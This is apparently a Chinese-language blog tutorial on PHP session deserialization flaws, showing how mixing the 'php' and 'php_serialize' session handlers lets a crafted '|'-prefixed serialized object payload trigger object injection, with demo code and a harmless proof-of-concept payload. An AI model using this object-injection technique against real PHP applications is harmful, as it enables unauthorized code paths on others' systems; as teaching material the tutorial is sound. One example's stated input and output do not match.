Session反序列化漏洞解析

参考文章:PHP session反序列化漏洞超详细讲解_php技巧_脚本之家 (jb51.net)

一、前置基础

1、session请求过程:

当某个用户第一次访问网站时,Session_start()函数会创建一个唯一的SessionID,并通过HTTP响应头,也就是返回包,将SessionID保存在客户端,也就是用户浏览器的Cookie中。与此同时,服务端也会在本地创建一个以SessionID命名的文件,用来保存这个用户的会话信息。当用户再次访问这个网站时,会自动通过HTTP请求头将Cookie中保存的SessionID再次发送给服务端,此时Session_start()函数不会再次分配一个SessionID,而是去寻找和这个SessionID同名的Session文件,将之前存储的信息读出,在当前脚本使用,达到跟踪用户的功能。

2、session配置

在探讨session反序列化漏洞时我们只需要关注存储引擎即可

注:session文件存储路径在php.ini文件中的session.save_path中(Linux默认为/tmp目录下)

PHP:

存储方式:键名+|+经过serialize函数处理后的值;

测试代码:

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

当参数为user=123

输出结果为:

username|s:6:"123123";

PHP_serialize:

存储方式:经过serialize函数处理后的值

测试代码:

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

输出结果为:

a:1:{s:8:"username";s:6:"123123";}

PHP_binary:

存储方式:键名长度所对应的ASCII码+键名+经过serialize函数处理后的值

测试代码:

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

输出结果为:

usernames:6:"123123";

二、session反序列化漏洞

根据上面不同的session存储引擎可知,不同的存储引擎有着不同的解析方式,当存储引擎使用不当则可能会出现反序列化漏洞,如下:

serialize.php

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";  

serialize1.php

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
    var $name;
    var $age;
    function __wakeup(){
        echo "hello ".$this->name." !";
    }
}

以上两PHP文件在session的存储引擎上采用了不同的方式,因此在解析session文件中的数据时就产生了歧义,如对于php_serialize来说 "|"仅仅只是一个字符,但对于php而言则是分割符,因此对session产生了不同的解析结果,我们通过如下脚本生成payload

makepayload.php

php 复制代码
<?php
class user {
    var $name;
    var $age;
}
$a = new user();
$a ->age="888";
$a ->name="cc";
echo "|".serialize($a);

payload:

|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}

通过user传参给serialize.php

php_serialize解析结果:

a:1:{s:8:"username";s:56:"|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}";}

此时我们访问serialize1.php,则会发现输出结果hello,cc!

分析:

对于serialize.php文件中的数据是一整条经过serialize函数处理后的结果,其代表的含义仅仅是一个username的键对应|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}的值,在php_serialize眼中这仅仅只是个字符串。

但对于serialize1.php文件中的php_serialize而言整条数据是这样的

键名:username

值:O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}

在php眼中的"|"是分割符因此他直接将后面的数据解析为对象了,从而产生了反序列化漏洞

相关推荐
网络安全许木4 小时前
自学渗透测试第21天(基础命令复盘与DVWA熟悉)
开发语言·网络安全·渗透测试·php
菩提小狗4 小时前
每日安全情报报告 · 2026-04-22
网络安全·漏洞·cve·安全情报·每日安全
爱学习的小囧5 小时前
ESXi VMkernel 端口 MTU 最佳设置详解
运维·服务器·网络·php·虚拟化
WangJunXiang66 小时前
GFS分布式文件系统
开发语言·php
Chockmans8 小时前
图片马合成保姆级教程
web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构·春秋云境
Chengbei119 小时前
红队专属Bing Dork自动化工具,敏感信息侦察效率拉满、自动生成可视化信息泄露审计报告
java·人工智能·安全·web安全·网络安全·自动化·系统安全
C2H5OH9 小时前
PortSwigger SQL注入LAB3
网络安全
treesforest10 小时前
IP 反欺诈查询怎么落地更稳?Ipdatacloud 适用场景与实战决策闭环
网络·数据库·网络协议·tcp/ip·网络安全
Chasing__Dreams10 小时前
Redis--基础知识点--29--Redis瓶颈
数据库·redis·php
Suckerbin11 小时前
vulnyx-Care靶场渗透
安全·web安全·网络安全